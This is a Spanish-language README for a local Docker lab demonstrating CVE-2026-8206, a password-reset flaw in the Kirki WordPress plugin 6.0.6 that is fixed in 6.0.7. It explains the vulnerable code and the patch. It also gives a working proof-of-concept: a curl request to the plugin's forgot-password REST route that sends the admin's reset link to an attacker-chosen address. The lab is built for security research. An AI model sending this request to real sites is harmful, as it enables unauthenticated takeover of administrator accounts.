
Laboratorio Docker local para demostrar CVE-2026-8206 en el plugin de WordPress Kirki.
Este repositorio compara las versiones reales del plugin Kirki:
vuln: Kirki 6.0.6patched: Kirki 6.0.7El laboratorio es solo local y vincula los servicios de WordPress a 127.0.0.1.
El PoC es de daño mínimo: solicita un restablecimiento de contraseña y verifica el destinatario del correo capturado dentro del laboratorio. No cambia ninguna contraseña.
CVE-2026-8206 es una vulnerabilidad de apropiación de cuentas / escalada de privilegios sin autenticación en las versiones 6.0.0 a 6.0.6 de Kirki.
El controlador vulnerable de restablecimiento de contraseña crea una clave de restablecimiento para un usuario real de WordPress seleccionado por username, pero envía el correo de restablecimiento a una dirección de correo arbitraria suministrada en la solicitud.
En este laboratorio:
vulnerable => el enlace de restablecimiento para admin se envía a [email protected]
patched => el correo no coincidente se rechaza y no se envía ningún correo de restablecimiento a [email protected]
6.0.0 a 6.0.66.0.7/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
El controlador vulnerable es:
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php
Kirki lee el correo suministrado por el atacante desde el cuerpo de la solicitud:
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';
Luego resuelve el usuario objetivo de WordPress por nombre de usuario y crea una clave de restablecimiento de contraseña para ese usuario:
$key = get_password_reset_key( $user );
Pero el correo final de restablecimiento se envía al $email suministrado en la solicitud:
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
Esto rompe el límite de confianza entre la identidad de la cuenta y el destinatario del correo de restablecimiento. Un solicitante no autenticado puede proporcionar:
username=admin
[email protected]
La clave de restablecimiento pertenece a admin, pero el correo se entrega a la dirección controlada por el atacante.
Kirki 6.0.7 valida que el correo suministrado coincida con el correo registrado del usuario resuelto y luego fuerza al destinatario al correo de la cuenta antes de enviar:
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
// reject request
}
$email = $user_email;
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
El correo local se captura en archivos en lugar de enviarse externamente:
artifacts/vuln-mail/
artifacts/patched-mail/
El laboratorio utiliza versiones reales del plugin Kirki instaladas con WP-CLI. El código fuente del plugin no se modifica.
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── docker/
│ ├── capture-mail
│ └── mail-capture.ini
├── scripts/
│ └── setup-wordpress.sh
├── poc/
│ ├── poc_local.py
│ └── run_lab_poc.sh
├── docs/
│ └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore
requests de PythonInstale la dependencia de Python si es necesario:
python3 -m pip install requests
Inicie los contenedores:
docker compose up -d --build
Siembre ambas instancias de WordPress:
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched
Ejecute el PoC:
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh
Resultado esperado:
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
To: [email protected]
Subject: CVE-2026-8206 local lab proof
Esto demuestra que la versión vulnerable envió un correo de restablecimiento de contraseña para la cuenta objetivo a la dirección controlada por el atacante.
Resultado esperado:
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER
Esto demuestra que la versión corregida rechaza la discrepancia entre nombre de usuario y correo, y no envía el correo de restablecimiento a la dirección controlada por el atacante.
Cree el nonce correcto del elemento Kirki dentro del laboratorio vulnerable:
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"
Envíe una solicitud solo local al servicio vulnerable:
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
-H "X-WP-Element-Nonce: $NONCE" \
-d "username=admin" \
-d "[email protected]" \
--data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
--data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'
Compruebe el correo capturado:
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/
Evidencia esperada de vulnerabilidad:
To: [email protected]
... action=rp ... login=admin ...
Este laboratorio está pensado únicamente para investigación de seguridad local y demostración de portafolio.
Medidas de protección:
127.0.0.1.docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail
| Servicio | Propósito | URL del host |
|---|
vuln | WordPress + Kirki 6.0.6 | http://127.0.0.1:8081 |
patched | WordPress + Kirki 6.0.7 | http://127.0.0.1:8082 |
db_vuln | MySQL para WordPress vulnerable | Solo red Docker |
db_patched | MySQL para WordPress corregido | Solo red Docker |
wpcli_vuln | Siembra WordPress vulnerable | configuración de una sola ejecución |
wpcli_patched | Siembra WordPress corregido | configuración de una sola ejecución |